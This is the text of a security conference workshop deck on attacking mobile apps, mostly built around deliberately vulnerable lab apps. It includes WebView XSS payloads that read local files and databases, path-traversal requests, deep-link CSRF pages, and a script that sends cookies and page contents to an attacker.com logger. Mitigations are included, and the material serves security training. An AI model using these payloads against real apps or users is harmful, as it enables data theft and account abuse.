Practical Mobile App Attack
Practical Mobile App Attack
Practical Mobile App Attack
by Example
Presented by : Abraham Aranguren
Free 4h Workshop Access (vuln apps, slides, recording):
https://7asecurity.com/free
> [email protected]
BSides Dublin, Ireland
> @7asecurity March 19th, 2022
> @7a_
> @owtfp [ OWASP OWTF - owtf.org ]
+ 7asecurity.com
Who am I?
★ CEO at 7ASecurity, pentests & security training
public reports, presentations, etc.: https://7asecurity.com/publications
★ Co-Author of Mobile, Web and Desktop (Electron) app 7ASecurity courses:
https://7asecurity.com/training
★ Security Trainer at Blackhat USA, HITB, OWASP Global AppSec, LASCON,
44Con, HackFest, Nullcon, SEC-T, DeepSec, etc.
★ Former Team Lead & Penetration Tester at Cure53 and Version 1
★ Author of Practical Web Defense: www.elearnsecurity.com/PWD
★ Founder and leader of OWASP OWTF, and OWASP flagship project: owtf.org
★ Some presentations: www.slideshare.net/abrahamaranguren/presentations
★ Some sec certs: CISSP, OSCP, GWEB, OSWP, CPTS, CEH, MCSE: Security,
MCSA: Security, Security+
★ Some dev certs: ZCE PHP 5, ZCE PHP 4, Oracle PL/SQL Developer Certified
Associate, MySQL 5 CMDev, MCTS SQL Server 2005
Public Mobile Pentest Reports - I
Smart Sheriff mobile app mandated by the South Korean government:
Public Pentest Reports:
→ Smart Sheriff: Round #1 - https://7asecurity.com/reports/pentest-report_smartsheriff.pdf
→ Smart Sheriff: Round #2 - https://7asecurity.com/reports/pentest-report_smartsheriff-2.pdf
Presentation:“Smart Sheriff, Dumb Idea, the wild west of government assisted parenting”
Slides:https://www.slideshare.net/abrahamaranguren/smart-sheriff-dumb-idea-the-wild-west-of-government-assisted-parenting
Video: https://www.youtube.com/watch?v=AbGX67CuVBQ
More here:
https://7asecurity.com/publications
Agenda
Practical walkthrough about interesting mobile app attacks found over the years:
• XSS in mobile apps?
• Mobile apps with Local Servers!?
• What can go wrong with Deeplinks?
• Deeplink → SQLi → RCE!!?
• Tails of Crypto FAIL
• Mobile API pwnage
• And more :)
Source: http://www.quickmeme.com/meme/353ljq
WebViews & Data Exfiltration:
Android
WebViews & Data Exfiltration: Android
Introduction to WebViews
A WebView in Android is a native Android object that acts like a miniature web browser
which can load web content like HTML and JavaScript within the context of an Android
activity. WebViews are useful when you need to have extensive control over the web
content being loaded.
1. WebViews can have as many permissions as the app that includes it.
2. They can be explicitly enabled to execute JavaScript
3. They can load local as well as remote web content
4. Native Android functions can sometimes be accessed from WebViews with the
help of JavaScript, via Javascript Interfaces
https://developer.android.com/reference/android/webkit/JavascriptInterface
Attacking Android WebViews
In the earlier section, we understood that WebViews are miniature web browsers. This
means that they can be susceptible to the security issues that affect normal browsers.
Some of the common attacks include:
Introduction to AndroGoat
AndroGoat is a vulnerable Android application written in Kotlin with many vulnerabilities relating to
various Android components like WebViews, storage issues etc. It is an open source project.
In this lab, we will use a modified version to illustrate interesting data exfiltration techniques that
we have used in real penetration tests, therefore please use the build from the training portal
instead:
https://training.7asecurity.com/mc/workshop/practical-mobile-app-attacks-by-example/apps/AndroGoat_Improved.apk
Go to “Shared Preferences - Part 1” and enter some username and password like
mysecretuser / mypassword, and then tap on “Save”:
XSS & Data Exfiltration in Android
XSS in WebView
NOTE: If you have done this lab before, don’t forget to delete the SD Card HTML file
/mnt/sdcard/Android/data/owasp.sat.agoat/files/xss_ext.html
There are two inputs available here: one for internal storage and the other for external
storage. Before we get to identifying the difference between these two, let us try various
inputs to check for XSS in both these input fields.
Payload:
<h1>hello</h1>
XSS & Data Exfiltration in Android
Resulting behavior:
Payloads:
<img src=x onerror=alert(1)>
<script>alert(1)</script>
Attempting these payloads confirms the HTML injection can also be used to execute
JavaScript:
XSS & Data Exfiltration in Android
Once we know the application is vulnerable to XSS, we can go ahead and figure out
what the JavaScript execution context is. A quick way to figure this out is to alert the
location of the page:
Payloads:
<script>alert(location)</script>
Attempting this payload reveals the security context for the internal and external storage
XSS vulnerabilities, in both cases it is file://, a privileged context perfect to steal data:
XSS & Data Exfiltration in Android
From the above screenshots, we have alerted the location of the file and we can clearly
see that the source file is loaded from two different storage locations for the two input
fields:
This means that the application has access to both the storage contexts. As we had
discussed earlier, the webview has as much access as the application.
To exfiltrate data, first we need to know the file path of the files that we want to steal.
XSS & Data Exfiltration in Android
If we have root access to the phone, we simply ssh or adb shell to the phone and run the
find command:
Commands:
adb shell
root@vbox86p:/ # cd /data/data/owasp.sat.agoat
root@vbox86p:/data/data/owasp.sat.agoat # find .
.
[...]
./shared_prefs/users.xml
./shared_prefs/WebViewChromiumPrefs.xml
./databases
./databases/aGoat
./databases/aGoat-journal
XSS & Data Exfiltration in Android
Payloads:
<script>a=new XMLHttpRequest();a.open('GET',
'file:///data/data/owasp.sat.agoat/shared_prefs/users.xml',false);a.send();alert(a.
responseText);</script>
<script>a=new XMLHttpRequest();a.open('GET',
'file:///data/data/owasp.sat.agoat/databases/aGoat',false);a.send();alert(a.respons
eText);</script>
If you try the above payloads you will see how with the XSS we are able to read those
files and therefore could also forward them to an attacker, hence proving that data
exfiltration is possible:
XSS & Data Exfiltration in Android
Fig.: Stealing local data files that belong to the victim app
XSS & Data Exfiltration in Android
Data Exfiltration via XSS - Stealing System & Third Party App Files
Please note that this issue is not limited to only the affected app, it is also possible to
read some system files, as well as files from apps that allow reading certain files from
their local storage. Of course, if the app has SD Card access, any SD Card file can also
be read, including SD Card files from other apps.
Assuming you have the Drozer Agent App installed on the phone you are testing with,
the following examples will work:
XSS & Data Exfiltration in Android
Payloads:
<script>a=new
XMLHttpRequest();a.open("GET","file:///system/etc/custom.conf",false);a.send();aler
t(a.responseText);</script>
<script>a=new XMLHttpRequest();a.open("GET",
"file:///data/data/com.mwr.dz/lib/libmstring.so",
false);a.send();alert(a.responseText);</script>
NOTE: You may also be able to read other interesting phone paths such as
/system/build.prop depending on the device used for testing.
The above payloads read a system file (/system/...) as well as a file from a third party
app, which has permissions that allow other apps to read it (/data/data/com.mwr.dz/...),
using the above payloads result in the following:
XSS & Data Exfiltration in Android
OR
<script>a=new
XMLHttpRequest();a.open('GET',
'file:///data/data/owasp.sat.agoa
t/databases/aGoat',false);a.send(
);alert(a.responseText);</script>
XSS & Data Exfiltration in Android
As you recall earlier, one of the files is stored in “External Storage”, which is Android
speak for “the SD Card”, this means that any application that can write to the SD Card
can modify that HTML file and achieve XSS even without any XSS on the application
itself (!).
To illustrate this, we need to know: Where in the SD Card is this HTML file?
We can answer this question with the previous alert(location):
Payload:
<script>alert(location)</script>
XSS & Data Exfiltration in Android
Command:
adb shell
begonia:/ $ find /mnt/sdcard/Android/data/owasp.sat.agoat/
Output:
/mnt/sdcard/Android/data/owasp.sat.agoat/
/mnt/sdcard/Android/data/owasp.sat.agoat/files
/mnt/sdcard/Android/data/owasp.sat.agoat/files/xss_ext.html
Once we know the location, we can pull this file and change it, to simulate a malicious
application on the phone (i.e. with SD Card access) doing the same thing:
XSS & Data Exfiltration in Android
Command:
adb pull /mnt/sdcard/Android/data/owasp.sat.agoat/files/xss_ext.html
Output:
/mnt/sdcard/Android/data/owasp.sat.agoat/files/xss_ext.html: 1 file pulled. 0.1
MB/s (420 bytes in 0.004s)
We can now edit the file and add any XSS payload we want, for example:
File:
xss_ext.html
Code:
<html>
<body>
<h2>External Storage</h2>
XSS & Data Exfiltration in Android
<script>
function displayContent(){
var a=document.getElementById("name");
document.write(a.value);
}
</script>
After that change, we can push the file again to see what happens:
Command:
adb push xss_ext.html /mnt/sdcard/Android/data/owasp.sat.agoat/files/xss_ext.html
Output:
xss_ext.html: 1 file pushed. 0.0 MB/s (573 bytes in 0.019s)
XSS & Data Exfiltration in Android
Figure out the relevant upload directory, i.e. most recent upload, by sorting by time via -t
Command:
ls -lt /root/.MobSF/uploads/
Output:
total 12
drwxr-xr-x 9 root root 4096 Jun 26 10:47 6da48a9c83c2d48667c458babe2709c5
drwxr-xr-x 14 root root 4096 May 30 09:41 894c2a1c396398d29e712438a71be55a
drwxr-xr-x 13 root root 4096 May 30 07:19 43084088cf86b8479ea321043b48e982
Commands:
mkdir -p /root/labs/lab3/xss
cd /root/labs/lab3/xss
cp -r /root/.MobSF/uploads/6da48a9c83c2d48667c458babe2709c5 decompiled
Now we need to find the code for this, based on what is displayed on the page we could
search for “External Storage” and see what happens:
Command:
grep -Ir 'External Storage'
Output:
apktool_out/res/values/strings.xml: 1. What is External Storage?
apktool_out/res/values/strings.xml: <string name="sdCard">External Storage -
SDCard</string>
apktool_out/assets/xss_ext.html:<h2>External Storage</h2>
assets/xss_ext.html:<h2>External Storage</h2>
XSS & Data Exfiltration in Android: Spot the Vuln?
File:
xss_ext.html
Code:
<html>
<body>
<h2>External Storage</h2>
<script>
function displayContent(){
var a=document.getElementById("name");
document.write(a.value);
}
</script>
XSS & Data Exfiltration in Android
Name: <input type="text" id="name"/>
</br></br>
<input type="button" value="Display" onclick="displayContent()"
style="background-color:black; color:white; border: 2px solid #000000"/>
</body>
</html>
Solution on the next page, but try to find the vulnerability first! :)
XSS & Data Exfiltration in Android: Solution
File:
xss_ext.html
Code:
<html>
<body>
<h2>External Storage</h2>
<script>
function displayContent(){
var a=document.getElementById("name");
document.write(a.value);
}
</script>
As you can see we have a DOM XSS vulnerability, the value of the “name” input field is
assigned to a DOM XSS sink: document.write.
This explains why the XSS exists, but we must now go deeper to explain why file access
and data exfiltration is possible.
Since we know the name of the HTML file we just found, we could search for it in the
sources:
XSS & Data Exfiltration in Android
Command:
grep -Ir 'xss_ext.html' *
Output:
owasp/sat/agoat/XSSActivity.java: File myExternalFile = new
File(getExternalFilesDir(""), "xss_ext.html");
owasp/sat/agoat/XSSActivity.java: InputStream stream =
getAssets().open("xss_ext.html");
[...]
Affected File:
owasp/sat/agoat/XSSActivity.java
XSS & Data Exfiltration in Android
Affected Code:
Intrinsics.checkExpressionValueIsNotNull(webSettings1, "webSettings1");
webSettings1.setJavaScriptEnabled(true);
webSettings1.setAllowUniversalAccessFromFileURLs(true);
webSettings1.setAllowFileAccessFromFileURLs(true);
webSettings1.setAllowFileAccess(true);
webSettings1.setAllowContentAccess(true);
webSettings1.setJavaScriptCanOpenWindowsAutomatically(true);
webSettings1.setDomStorageEnabled(true);
webSettings1.setLoadWithOverviewMode(true);
webSettings1.supportMultipleWindows();
Intrinsics.checkExpressionValueIsNotNull(webSettings2, "webSettings2");
webSettings2.setJavaScriptEnabled(true);
webSettings2.setAllowUniversalAccessFromFileURLs(true);
webSettings2.setAllowFileAccessFromFileURLs(true);
webSettings2.setAllowFileAccess(true);
XSS & Data Exfiltration in Android
webSettings2.setAllowContentAccess(true);
webSettings2.setJavaScriptCanOpenWindowsAutomatically(true);
webSettings2.setDomStorageEnabled(true);
webSettings2.setLoadWithOverviewMode(true);
webSettings2.supportMultipleWindows();
this.thefile = String.valueOf(LoadDataint());
[...]
this.thefullfileurl = "file://" + this.theintfileurl;
webview1.loadUrl(this.thefullfileurl);
this.thefullextfileurl = "file://" + this.theextfileurl;
webview2.loadUrl(this.thefullextfileurl);
As you can see a number of insecure settings related to file access have been enabled
and the webviews are loaded from a file:// context.
XSS & Data Exfiltration in Android
Mitigation Recommendations:
For additional mitigation guidance, please see the OWASP XSS Prevention Cheat Sheet
https://cheatsheetseries.owasp.org/.../Cross_Site_Scripting_Prevention_Cheat_Sheet.html
DEMO: XSS & Data Exfiltration in Android
Attacking WebViews & Data
Exfiltration: iOS
Source: https://miro.medium.com/max/522/1*jF7QmwWgXlKb0qwvFOspYA.gif
Attacking WebViews & Data Exfiltration in iOS
UIWebViews in iOS allow apps to include a webview that can render HTML code. If user
input is not output encoded correctly, attackers can take advantage of this to execute
arbitrary JavaScript or render malicious HTML in the security context of the app.
Open DVIA-v2 and navigate to ‘Webview Issues’ from the menu, then click on “Start
Challenge”:
Enter some text (i.e. “hello”) in the top text box and hit enter. Notice how the string you
entered (i.e. “hello”) is part of the text rendered in the text area below:
Given that we are inside a webview, let’s try some HTML tags and see if it they are
output encoded correctly or not:
Input:
<h1>Hello</h1>
Output:
This confirms that we have HTML injection, now we can progress with additional
payloads to answer the following questions:
1. Can we also run arbitrary JavaScript?
2. If so, under what context is JavaScript executed?
3. If XSS from a privileged context, can we read phone files and send them to the
attacker?
XSS Payloads:
<img src=x onerror=alert(1)>
<svg/onload=alert(location)>
<script>a = new
XMLHttpRequest();a.open('GET','file:///private/var/wireless/Library/Databases/DataU
sage.sqlite',false);a.send();alert(a.responseText);</script>
Attacking WebViews & Data Exfiltration in iOS
<script>a = new
XMLHttpRequest();a.open('GET','file:///private/var/wireless/Library/Databases/Cellu
larUsage.db',false);a.send();alert(a.responseText);</script>
To summarize:
If XSS from a privileged <script>a = new Yes! We can read the phone
context, can we read phone XMLHttpRequest();a.open('GET','f history
files and send them to the ile:///private/var/wireless/Libr
attacker? ary/Databases/DataUsage.sqlite',
false);a.send();alert(a.response
Text);</script>
OR
<script>a = new
XMLHttpRequest();a.open('GET','f
ile:///private/var/wireless/Libr
ary/Databases/CellularUsage.db',
false);a.send();alert(a.response
Text);</script>
Attacking WebViews & Data Exfiltration in iOS
Where is the problem? A possible way to find out is to narrow down our search to the
locations of the source code where WKWebViews and UIWebViews might be used, this
can be accomplished with the following command:
Command:
egrep -r "(WKWebView|UIWebView)" * | grep '.swift:'
Output:
Vulnerabilities/Client Side
Injection/Controller/ClientSideInjectionDetailViewController.swift: @IBOutlet
var webView: UIWebView!
Vulnerabilities/Donate/Controller/DonateDetailsViewController.swift: var
webView: WKWebView!
Attacking WebViews & Data Exfiltration in iOS
Attacking WebViews & Data Exfiltration in iOS
As we can see in the vulnerable code, user input is concatenated into a string without
prior sanitization. Further, the webView URL baseURL is set to nil, which means that the
WebView will run with higher privileges, hence enabling data exfiltration from the phone.
Please note that this issue is in part possible due to the fact that
WebKitAllowUniversalAccessFromFileURLs and
WebKitAllowFileAccessFromFileURLs are turned on by default on UIWebView
(disabled by default on WKWebView). It is possible to turn these off manually on
UIWebView, however, output encoding user input prior to the concatenation and for
turning off JavaScript entirely the UIWebView needs to be replaced by the newer and
safer WKWebView.
https://www.allysonomalley.com/2018/12/03/ios-bug-hunting-web-view-xss/
https://developer.apple.com/documentation/uikit/uiwebview
https://developer.apple.com/documentation/webkit/wkwebview
https://stackoverflow.com/questions/48835813/can-i-disable-js-in-a-uiwebview-objective-c
https://stackoverflow.com/questions/33828064/ios-web-view-javascript-disable?lq=1
Source: https://me.me/i/yo-dawgiheard-youlike-concatenate-soiconcatenated-concatenatewithconcatenate-meme-creator-funny-0f56cfdadaf04b109ac5fc84975b56fd
DEMO: Attacking WebViews & Data Exfiltration in iOS
Episode: Sexy attacks using the SD Card
SD Card 101:
→ Many apps can read & write
→ Can be extracted without unlocking the phone
→ No encryption
Source: https://cultureandcognitionreadinggroup.files.wordpress.com/2017/11/memory_2183425.jpg
Scenario: Saving sensitive stuff in the SD Card
Whistleblower app saving reports in SD Card
SQLite databases in SD Card, but also human right violation reports with PII:
Command:
adb shell cat /mnt/sdcard/some/path/human_right_violation_report.xml
Output:
<?xml version='1.0' ?><HumanRightViolation>
[...]<start>2019-04-17T11:46:08.368Z</start>
[...]<end>2019-04-17T11:58:43.572Z</end>
[...]<today>2019-04-17</today>
<device_id>xxxxxxxxx</device_id>
<sim_imei>xxxxxxxxx</sim_imei>
<phone_number>xxxxxx</phone_number>
<event><title>xxxxxx title</title>
[...]
Whistleblower app saving reports in SD Card
<first_name>first xxxxxx</first_name>
<last_name>last xxxxxx</last_name>
<alias>Nick xxxxxx</alias>
<age>20</age>
<gender>male</gender>
<marital_status>single</marital _status>
<address>xxxxxx address</address>
<affiliation>13</affiliation>
<is_victim>yes</is_victim>
<number_of_dependants/>
[...]
Scenario: Text files loaded from SD Card
Question: What is the vulnerability?
→ Text files loaded from SD Card
→ Text file content embedded into HTML later
Code:
$.ajax({
url: "Chapter.txt",
[...]
success: function(data, theStatus) { },
[...]
var pageData = convertText(data);
[...]
("#some_id").append('<div id="chapter' + i + '" [...]">
<p>' + pageData + '</p></div>')
Solution: pXSS + data exfiltration
Flow:
1. Loaded from SD Card
2. Stored in variable
3. Concatenated into HTML = XSS
Code:
$.ajax({
url: "Chapter.txt", ← Loaded from SD Card
[...]
success: function(data, theStatus) { },
[...]
var pageData = convertText(data); ← Stored in variable
[...]
("#some_id").append('<div id="chapter' + i + '" [...]">
<p>' + pageData + '</p></div>') ← concatenated into HTML = XSS
Attack: pXSS + data exfiltration
Need to encode payloads? Check https://hackvertor.co.uk/
NOTE: Now also a Burp extension! Both by Gareth Heyes :)
Hackvertor IN:
<script><@eval_fromCharCode_0>xmlhttp=new XMLHttpRequest();
xmlhttp.open("GET",
"file://////data/data/some.vuln.app/databases/webview.db", false);
xmlhttp.send(null);
var ret = xmlhttp.responseText;
alert(ret);<@/eval_fromCharCode_0></script>
Hackvertor OUT:
<script>eval(String.fromCharCode(120,109[...]</script>
Attack: pXSS + data exfiltration (cont.)
Fix: SDCard leaks & pXSS + data exfiltration
→ Avoid saving sensitive information in the SD Card
→ Avoid loading HTML from unsafe locations i.e. SD Card
→ Output encode input before concatenating into HTML
→ Disable JavaScript:
Proposed Fix:
webview.getSettings().setJavaScriptEnabled(false);
<html>
<body>
<p>Show /etc/passwd:</p>
<iframe id="if" width=100% height=25%
src="http://localhost:53741/..%2F..%2F..%2F..%2F..%2F..%2F..%2F../etc/passwd "><
/iframe>
<p>List files at the app www directory level:</p>
<iframe id="if" width=100% height=25% src="http://localhost:53741/"></iframe>
<p>List files at app level:</p>
<iframe id="if" width=100% height=25%
src="http://localhost:53741/..%2F"></iframe>
</body>
</html>
Attack: Path Traversal without auth (cont)
Attack: Path Traversal without auth (cont)
Dumping all files:
Commands:
for i in $(cat data_files_relative.txt); do
wget "http://127.0.0.1:53741/$i" > wget_output.txt 2> wget_errors.txt
done
grep 'Saving to' wget_errors.txt -B 4 | grep http | cut -f4 -d" "
Output:
http://127.0.0.1:53741/Library/Caches/com.apple.WebKit.WebContent/com.apple.ope
ngl/compileCache.data
[...]
Fix: Path Traversal without auth
→ Do not implement local servers unless truly needed
→ If needed, at least require authentication (i.e. malicious apps can’t call it)
→ Validate URL with appropriate access control and path traversal mitigation
Scenario: More Clear-text HTTP (iOS)
Question: What is the vulnerability?
1. App requests + caches CSS file from server:
http://some.site.com/app/css/mobileapp.css
2. Subsequent requests check If-Modified-Since:
Server always replies with:
HTTP/1.1 304 Not Modified
3. CSS added into every article rendered like this: ← Contents added to HTML
NSString *returnString = [NSString stringWithFormat:@"<html><head><style>%@ %@%@</s
tyle></head><body style='[...]%@'><div
id='mainDiv'>%@ </div></body></html>", localFontPointer, serverProvidedCss!=nil?
serverProvidedCss:@"",
Attack: Permanent XSS
Attacker supplies CSS file via clear-text MitM:
a { [...] } [...] </style><script src="https://attacker.com/pwn_css.js"></script><style>
The XSS payload will be executed every time the user reads an article!
Attack: Permanent XSS - log user activity
URL:
https://attacker.com/pwn_css.js
Contents:
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/xml');
}
xmlhttp=request;
function sendit() {
try {
var url = "https://attacker.com/logger.php?c="
+encodeURIComponent(document.cookie)+
"&u="+encodeURIComponent(document.location)+
Attack: Permanent XSS - log user activity (cont)
"&t="+encodeURIComponent(document.title)+
"&h="
var html_str = encodeURIComponent(document.body.innerHTML);
html_str = html_str.substr(0,8190 - url.length);
url += html_str;
xmlhttp.open("GET", url, false);
xmlhttp.send(null);
}
catch (e) {
alert('Error! ' + e);
}
}
setTimeout('sendit()', 1000);
Attack: Permanent XSS - log user activity
The attacker logger receives all news items seen by the user:
IP: x.x.x.x
User Agent: Mozilla/5.0 (iPhone; CPU iPhone OS [...]
Cookies: [...]
URL: http://some.site.com/
HTML: <div id="mainDiv"><p>Some news [...]</p>
Attack: Data Exfiltration via XSS (call history)
Favorited articles are rendered from file://
LAB
CHECK
Deep Link attacks achieving user
impersonation
&
Deep Link attacks to bypass
authorization controls
Deep Link Preliminaries
Introduction to Mobile Deep Links
Example:
LAB
● A social media application registers ‘socialapp://homepage’
● Any click to such link will be automatically directed to this application.
CHECK
Ability to navigate to different activities and pages:
Contents:
<activity
android:name="some.app.DeepLinkActivity" >
<intent-filter>
LAB
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data
android:scheme="someapp"
android:host="getCreds"
CHECK
android:pathPrefix="/user"/>
</intent-filter>
</activity>
scheme://host/path → someapp://getCreds/user
Case Study: Periscope CSRF via Deep Link
Introduction
Periscope is an application for live video streaming developed and owned by Twitter Inc. It has
50M+ downloads on Google Playstore.
CHECK
Note: Any version of Periscope will not work with this PoC. So, make sure to download the APK
version provided here.
https://www.pscp.tv/
https://play.google.com/store/apps/details?id=tv.periscope.android&hl=en
Case Study: Periscope CSRF via Deep Link
Prerequisite 2: Create a Periscope account
If you don’t have a Periscope account, you will need to create one, for example, using
your Android Device, and then choose one of the user account creation methods:
LAB
CHECK
Command:
apktool d periscope_1.25.5.93.apk
Case Study: Periscope CSRF via Deep Link
Output:
I: Using Apktool 2.4.0 on periscope_1.25.5.93.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
S: WARNING: Could not write to (/Users/abhishekjm/Library/apktool/framework), using
/var/folders/5f/3qf_m4wn6_d1g703g5r1199h0000gn/T/ instead...
S: Please be aware this is a volatile directory and frameworks could go missing,
LAB
please utilize --frame-path if the default storage directory is unavailable
I: Loading resource table from file:
CHECK
/var/folders/5f/3qf_m4wn6_d1g703g5r1199h0000gn/T/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
Case Study: Periscope CSRF via Deep Link
Step 2: Analyzing the Manifest
File:
AndroidManifest.xml
Contents:
LAB
<intent-filter>
[...] CHECK
<category android:name="android.intent.category.BROWSABLE"/>
<data android:host="www.periscope.tv" android:pathPrefix="/"
android:scheme="https"/>
[...]
<data android:host="pscp.tv" android:pathPrefix="/" android:scheme="http"/>
<data android:host="user" android:pathPrefix="/" android:scheme="pscp"/>
Case Study: Periscope CSRF via Deep Link
<data android:host="periscope.tv" android:pathPrefix="/" android:scheme="https"/>
<data android:host="pscp.tv" android:pathPrefix="/" android:scheme="http"/>
<data android:host="user" android:pathPrefix="/" android:scheme="pscp"/>
<data android:host="user" android:pathPrefix="/" android:scheme="pscpd"/>
<data android:host="broadcast" android:pathPrefix="/" android:scheme="pscp"/>
<data android:host="channel" android:pathPrefix="/" android:scheme="pscp"/>
<data android:host="discover" android:pathPrefix="/" android:scheme="pscp"/>
</intent-filter>
LAB
Here, the Deep Link with the scheme ‘pscp’ and ‘user’ as host looks specifically
interesting.The Deep Link here is: pscp://user/ CHECK
This means that there could be a parameter passed to this Deep Link which could be the
Periscope user id.
LAB
Open the Deep Link Tester application, enter the above Deep Link and click on the ‘GO TO URI’
Get it here:
CHECK
https://training.7asecurity.com/mc/workshop/practical-mobile-app-attacks-by-example/apps/DeepLinkTester.apk
Case Study: Periscope CSRF via Deep Link
LAB
CHECK
ADB Command:
adb shell am start -a "android.intent.action.VIEW" -d "pscp://user/MKBHD"
LAB
Using Drozer you should use the browseable activity scanner, this will provide you with a
list of URL schemes and activities to explore:
CHECK
NOTE: However, note that Drozer misses some URL schemes like pscpd://, therefore
this is not a replacement for a manual review
Drozer Command:
dz> run scanner.activity.browsable -a tv.periscope.android
Case Study: Periscope CSRF via Deep Link
Output:
Package: tv.periscope.android
Invocable URIs:
tv.periscope.android://
pscp://open
http://
https://www.periscope.tv/ (PATTERN_PREFIX)
https://b.pscp.live/g97c (PATTERN_PREFIX)
@2131821022:// LAB
CHECK
@2131821021://
https://@2131821040/__/auth/handler (PATTERN_LITERAL)
Classes:
tv.periscope.android.ui.login.AppAuthUriReceiverActivity
tv.periscope.android.LaunchActivity
tv.periscope.android.AppRouterActivity
com.facebook.CustomTabActivity
com.firebase.ui.auth.ui.provider.GitHubLoginActivity
net.openid.appauth.RedirectUriReceiverActivity
Case Study: Periscope CSRF via Deep Link
Drozer Command:
dz> run app.activity.start --action android.intent.action.VIEW --data-uri
"pscp://user/MKBHD"
LAB
https://7as.es/android/periscope_csrf.html and click on “Open User”
LAB
CHECK
Next obvious step is to check if the user can be followed with the help of this Deep link:
pscp://user/MKBHD/follow
LAB
CHECK
Option 1: With Deep Link Tester
LAB
CHECK
ADB Command:
adb shell am start -a "android.intent.action.VIEW" -d "pscp://user/MKBHD/follow"
LAB
CHECK
LAB
This can be verified by creating a simple HTML page and accessing it via an Android
device with Periscope (the given version) installed.
Code:
<!DOCTYPE html>
CHECK
<html>
<h1>
<pre>
<a href="pscp://user/MKBHD/">Open User</a>
<a href="pscp://user/MKBHD/follow">Periscope CSRF Demo</a>
</html>
Case Study: Periscope CSRF via Deep Link
For ease of access, we have hosted this here:
https://7as.es/android/periscope_csrf.html
You can prepare an HTML file with the following above documented code snippet and
host it somewhere and try it out yourself.
LAB
Open this link from your Android device and click on the ‘Periscope CSRF DEMO’ link.
This again leads to following the account embedded in the Deep link without the consent
of the user clicking on the Deep link.
CHECK
This is an example of a CSRF attack where the origin of the request is not verified and
hence, the attacker can trick any user into following an account without their consent.
Case Study: Periscope CSRF via Deep Link
Mitigation:
Fixing issues derived from URL schemes / Deep Links is usually accomplished by
prompting the user for confirmation prior to performing the action.
For example:
1) Show a message like:
“are you sure you would like to follow X?”
LAB
2)
CHECK
Perform the action ONLY only if the user confirms
DEMO: Periscope
LAB
CHECK
Source: https://infosecwriteups.com/the-zaheck-of-android-deep-links-a5f57dc4ae4c
Deep Link attacks
to
make phone calls
Get DVIA-v2
For this section, we will use the following version of DVIA-v2 for iOS:
https://training.7asecurity.com/mc/workshop/practical-mobile-app-attacks-by-example/apps/DVIA-v2-swift.ipa
Look at the Info.plist file within the app source code (not dependencies):
Commands:
cd
/Users/7a/training/iOS/lab3/DVIA-v2-2dd120f3eef243737871c8f0fe8a094701991bd9/DVIA-v
2/DVIA-v2
grep URLScheme -A 4 Info.plist
Output:
<key>CFBundleURLSchemes</key>
<array>
<string>dvia</string>
<string>dviaswift</string>
</array>
Finding & Exploiting URL handlers
Option 2: With Xcode
Click on the app, go to “Info” and scroll down to “URL Types”, and then look at “URL
schemes”:
What can we do with this? First of all we need to review the URL handler
implementation, this is generally located in a file called AppDelegate (.m for Objective C
and .swift for Swift).
If you don’t have Xcode (i.e. you are not using a Mac) you can find the AppDelegate file
like so:
Command:
find . -name AppDelegate.swift
Output:
./DVIA-v2/AppDelegate.swift
Finding & Exploiting URL handlers
If you edit this file with your favorite editor, you will notice the following interesting URL
handling code:
Affected File:
./DVIA-v2/AppDelegate.swift
Affected Code:
func application(_ app: UIApplication, open url: URL, options:
[UIApplicationOpenURLOptionsKey : Any] = [:]) -> Bool {
return true
}
Sample URLs:
dviaswift://phone/call_number/1234567890
dvia://phone/call_number/1234567890
Let’s confirm this, from your Jailbroken phone, using Safari open the following URL:
URL:
https://7as.es/ios/url_handler_dvia-v2.html
You can also take the HTML from the above link and host it on your own server to test.
Or simply review the HTML to understand how this works:
Finding & Exploiting URL handlers
HTML:
<html>
<body>
<h1>
<pre>
<a
href="dviaswift://phone/call_number/1234567890">dviaswift://phone/call_number/12345
67890</a>
<a
href="dvia://phone/call_number/1234567890">dvia://phone/call_number/1234567890</a>
</pre>
</h1>
</body>
</html>
Finding & Exploiting URL handlers
When you click on the link, Safari will prompt you to open it on DVIAv2, click on “Open”:
The ability to make an app ring arbitrary phone numbers is a serious issue in the mobile
environment due to the possibility of making the app ring premium numbers, hence
attackers can monetize the attack vector more easily.
Source: http://nwksgmd4.blogspot.com/2011/10/yet-more-on-water-for-oil-gas-drilling.html
DEMO: Custom iOS URL handlers
DeepLink Scenario: URL → Browser
#1 - Exported Activity: Browsing functionality
The app has some functionality that:
→ Expects other apps to send URLs to it
→ Opens those URLs and shows them to the user
Java Code:
String url = "file:///mnt/sdcard/steal.html";
Intent i = new Intent(Intent.ACTION_SEARCH);
i.addCategory(Intent.CATEGORY_DEFAULT);
final ComponentName cn = new ComponentName(
"Some.app.browser",
"some.app.browser.Browser");
i.setComponent(cn);
i.putExtra("query", url);
startActivity(i);
Attack: Go to SD Card + Steal DBs (cont.)
File:
/mnt/sdcard/steal.html
Contents:
<script>var xmlhttp=new XMLHttpRequest();
var db_loc = '/data/data/some.app.browser/databases/'
var db_files = [ 'db1.db', 'db2.db', 'db3.db' ]
for (var i in db_files) { //Retrieving all databases in JavaScript
var full_path = db_loc + db_files[i]
xmlhttp.open("GET", "file://" + full_path, false);
xmlhttp.send(null);
var ret = xmlhttp.responseText;
alert('Got DB: ' + full_path + "\r\n" + ret); //Showing the retrieved file in JavaScript
}</script>
<!-- All could be sent to an external site -->
